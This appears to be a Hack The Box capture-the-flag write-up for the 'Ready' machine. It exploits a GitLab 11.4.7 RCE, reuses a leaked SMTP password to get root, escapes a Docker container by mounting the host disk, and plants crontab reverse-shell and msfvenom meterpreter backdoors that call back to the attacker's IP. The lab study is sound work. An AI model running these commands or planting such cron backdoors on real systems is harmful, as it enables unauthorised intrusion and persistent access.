Hack The Box - Ready
Introduction
Ready is a medium machine rated 4.2, it’s all about a GitLab RCE to get initial access and then using credentials found on the machine to login as root. I also need to escape a docker container, which is pretty easy. So let’s just start with the enumeration.
Enumeration
As always, I start the enumeration using Nmap.
Nmap Scan
For this task I use the nmap automator, here are the results of the full scan:
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
On those open ports, the automator will perform a script scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
|_http-title: GitLab is not responding (502)
Service Enumeration
The SSH version is not vulnerable, so I start with the enumeration of the only other port open.
On port 5080 runs nginx. The scans showed no good results, so I checked robots.txt:
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
#
# To ban all spiders from the entire site uncomment the next two lines:
# User-Agent: *
# Disallow: /
# Add a 1 second delay between successive requests to the same server, limits resources used by crawler
# Only some crawlers respect this setting, e.g. Googlebot does not
# Crawl-delay: 1
# Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
User-Agent: *
Disallow: /autocomplete/users
Disallow: /search
Disallow: /api
Disallow: /admin
Disallow: /profile
Disallow: /dashboard
Disallow: /projects/new
Disallow: /groups/new
Disallow: /groups/*/edit
Disallow: /users
Disallow: /help
# Only specifically allow the Sign In page to avoid very ugly search results
Allow: /users/sign_in
That does not help me much. When visiting a directory, I get a login form.
I can try to register a new account:
That worked, but the directories could not be found after the login. When visiting the help
page, I can see the version of Gitlab:
I like the update asap message. That means that this version is outdated. Let’s search for an authenticated (or unauthenticated) RCE:
The good thing is that this exploit works with python3, so I should not have any problems regarding packets and incompatible versions.
Exploitation
Let’s download the exploit and switch to it’s directory:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ git clone https://github.com/ctrlsam/GitLab-11.4.7-RCE.git
Cloning into 'GitLab-11.4.7-RCE'...
remote: Enumerating objects: 13, done.
remote: Counting objects: 100% (13/13), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 13 (delta 2), reused 11 (delta 2), pack-reused 0
Receiving objects: 100% (13/13), done.
Resolving deltas: 100% (2/2), done.
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ cd GitLab-11.4.7-RCE
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready/GitLab-11.4.7-RCE]
└─$ ls
exploit.py README.md
Here are the parameters that we need to set:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready/GitLab-11.4.7-RCE]
└─$ python3 exploit.py
usage: exploit.py [-h] -u U -p P -g G -l L -P P
exploit.py: error: the following arguments are required: -u, -p, -g, -l, -P
I can also view the parameters in the source code:
parser.add_argument('-u', help='GitLab Username/Email', required=True)
parser.add_argument('-p', help='Gitlab Password', required=True)
parser.add_argument('-g', help='Gitlab URL (without port)', required=True)
parser.add_argument('-l', help='reverse shell ip', required=True)
parser.add_argument('-P', help='reverse shell port', required=True)
I can run the exploit with the credentials of my test account:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready/GitLab-11.4.7-RCE]
└─$ python3 exploit.py -u test -p password -g http://ready.htb -l 10.10.16.6 -P 443
[+] authenticity_token: 72T53eiUQIfjzCLNIxbDdzCbxqyfakwFCVD6wEY8w//C/CncRlgJkzaeg5rbxf+YZs4V7zv1/nMGBdk2Q+0SBw==
[+] Creating project with random name: project7246
[+] Running Exploit
[+] Exploit completed successfully!
Look at the netcat listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.220] 47710
which python
which python3
/opt/gitlab/embedded/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ export TERM=xterm
export TERM=xterm
git@gitlab:~/gitlab-rails/working$ ^Z
zsh: suspended nc -lvnp 443
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ stty raw -echo; fg
[1] + continued nc -lvnp 443
git@gitlab:~/gitlab-rails/working$ ^C
git@gitlab:~/gitlab-rails/working$
There is the shell as user git.
User Flag
Let’s check if I’m able to read the user flag:
git@gitlab:~/gitlab-rails/working$ cd /home
git@gitlab:/home$ ls
dude
git@gitlab:/home$ cd dude
git@gitlab:/home/dude$ ls
user.txt
git@gitlab:/home/dude$ cat user.txt
e1**************************7682
I could obtain the flag. It’s time to privesc.
Privilege Escalation
One of the most standard tool is LinPEAS, so I run it. Here are the most important things it found:
╔══════════╣ Searching GitLab related files
gitlab-rails was found. Trying to dump users...
{"id"=>1,
"email"=>"admin@example.com",
"encrypted_password"=>
"$2a$10$zzun9kmrHMdwsJZKTmwn9OZddFjwrhbaXx3b2eb9l2g.1LrjZo0V2",
---snip---
{"id"=>2,
"email"=>"test@gmail.com",
"encrypted_password"=>
"$2a$10$WxL4iln6YUQauvHNIqmjBOjwTQMtsjIUNoNgWu37.9iwg7t.ocj2e",
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,
cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,
cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,
cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,
cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,
cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,
cap_syslog,cap_wake_alarm,cap_block_suspend,37+i
# cap_chown was marked orange
CapInh: 0000003fffffffff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Shell capabilities:
0x0000000000000000=
CapInh: 0000003fffffffff
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
╔══════════╣ .sh files in path
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#script-binaries-in-path
/opt/gitlab/embedded/bin/jemalloc.sh
╔══════════╣ Unexpected in root
/root_pass
/.dockerenv
/assets
/RELEASE
LinPEAS also found a few RSA keys inside of the GitLab config files. I do not even try them, because they would (if they work) only give me a shell as git). I will not try the different methods of privesc that I found with the help of LinPEAS.
I tried cracking the password for admin, but that did not work. All the other methods to exploit did also not work. I found a file in /opt/backup called gitlab.rb. I found a password in it (which is for SMTP):
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
Let’s check for a password reuse:
git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/opt/backup#
That worked, but there is no root flag. I was confused but then remembered that I am in a docker image (which LinPEAS found out):
╔══════════╣ Searching Signature verification failed in dmseg
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#dmesg-signature-verification-failed
dmesg Not Found
╔══════════╣ Protections
═╣ AppArmor enabled? .............. AppArmor Not Found
═╣ grsecurity present? ............ grsecurity Not Found
═╣ PaX bins present? .............. PaX Not Found
═╣ Execshield enabled? ............ Execshield Not Found
═╣ SELinux enabled? ............... sestatus Not Found
═╣ Is ASLR enabled? ............... Yes
═╣ Printer? ....................... No
═╣ Is this a virtual machine? ..... Yes (docker)
So I now know what I have to do: escape the docker container.
Escaping The Docker Container
There are many ways to escape a docker container. A lot of them are covered on hacktricks.xyz. I tried a few, but this one worked for me:
Here is how you do it. First, you check which file systems there are:
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 37746687 37742592 18G Linux filesystem
/dev/sda3 37746688 41940991 4194304 2G Linux swap
Then, mount the correct file system (in my case, it’s the 18Gb Linux File System on sda2):
root@gitlab:/# mount /dev/sda2 /mnt/filesystem
root@gitlab:/# cd /sda
bash: cd: /sda: No such file or directory
root@gitlab:/# cd /sda2
bash: cd: /sda2: No such file or directory
root@gitlab:/# cd /mnt/filesystem/
root@gitlab:/mnt/filesystem# ls
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
root@gitlab:/mnt/filesystem# cd root
root@gitlab:/mnt/filesystem/root# ls
docker-gitlab ready-channel root.txt snap
The file system is mounted. I have access to the /root directory.
Root Flag
Let’s get the root flag:
root@gitlab:/mnt/filesystem/root# cat root.txt
b7**************************c2b3
Root Shell On The Host
To have access to the file system was not enough for me. I want a shell on the host. I can do this with a cronjob.
First, I checked if netcat is installed on the host’s system:
root@gitlab:/mnt/filesystem/root# which nc
/bin/nc
root@gitlab:/mnt/filesystem/root# cd ..
root@gitlab:/mnt/filesystem# cd bin
root@gitlab:/mnt/filesystem/bin# ls -l nc
lrwxrwxrwx 1 root root 20 Apr 23 2020 nc -> /etc/alternatives/nc
It is, to it’s time to edit /etc/crontab and add this line:
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bas -i 2>&1|nc 10.10.16.6 443 >/tmp/f >/dev/null 2>&1
Now, wait a minute and look at the netcat listener:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.220] 48070
bash: cannot set terminal process group (73577): Inappropriate ioctl for device
bash: no job control in this shell
root@ready:~# exit
That is strange, the shell exits automatically. Before giving up, I try a meterpreter shell:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.16.6 LPORT=4444 -f elf -o shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: shell.elf
Upload it to the machine and create another crontab line for it:
* * * * * root /tmp/shell.elf
Start a metasploit mutli/handler:
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => 10.10.16.6
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.16.6:4444
msf6 exploit(multi/handler) >
Wait a minute and look at the handler:
msf6 exploit(multi/handler) > [*] Sending stage (984904 bytes) to 10.10.10.220
[*] Meterpreter session 1 opened (10.10.16.6:4444 -> 10.10.10.220:40122) at 2021-09-30 13:11:42 +0200
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 75620 created.
Channel 1 created.
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@ready:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ready:~# cd /
cd /
root@ready:/# ls
ls
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
root@ready:/# ls /mnt
ls /mnt
I just showed that /mnt is empty to prove that this is the host. Here are the hostname outputs on both the docker container and the host:
# Docker
root@gitlab:/mnt/filesystem/etc# hostname
gitlab.example.com
# Host
root@ready:/# hostname
ready
There is even an SSH key for root:
meterpreter > cd .ssh
meterpreter > ls
Listing: /root/.ssh
===================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 405 fil 2020-12-07 17:49:44 +0100 authorized_keys
100600/rw------- 1675 fil 2020-12-07 17:49:44 +0100 id_rsa
100644/rw-r--r-- 405 fil 2020-12-07 17:49:44 +0100 id_rsa.pub
That is the last thing I want to try. Can I access the host with SSH:
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ nano id_rsa
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ chmod 600 id_rsa
┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/ready]
└─$ ssh root@ready.htb -i id_rsa
The authenticity of host 'ready.htb (10.10.10.220)' can't be established.
ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ready.htb,10.10.10.220' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
---[snip]---
Last login: Thu Feb 11 14:28:18 2021
root@ready:~# ls
docker-gitlab ready-channel root.txt snap
root@ready:~# hostname
ready
root@ready:~#
So I have gained persistent access to the root user of the host machine. (With this knowledge of the SSH key, I could have just copied the key in the GitLab reverse shell without the meterpreter shell on the host)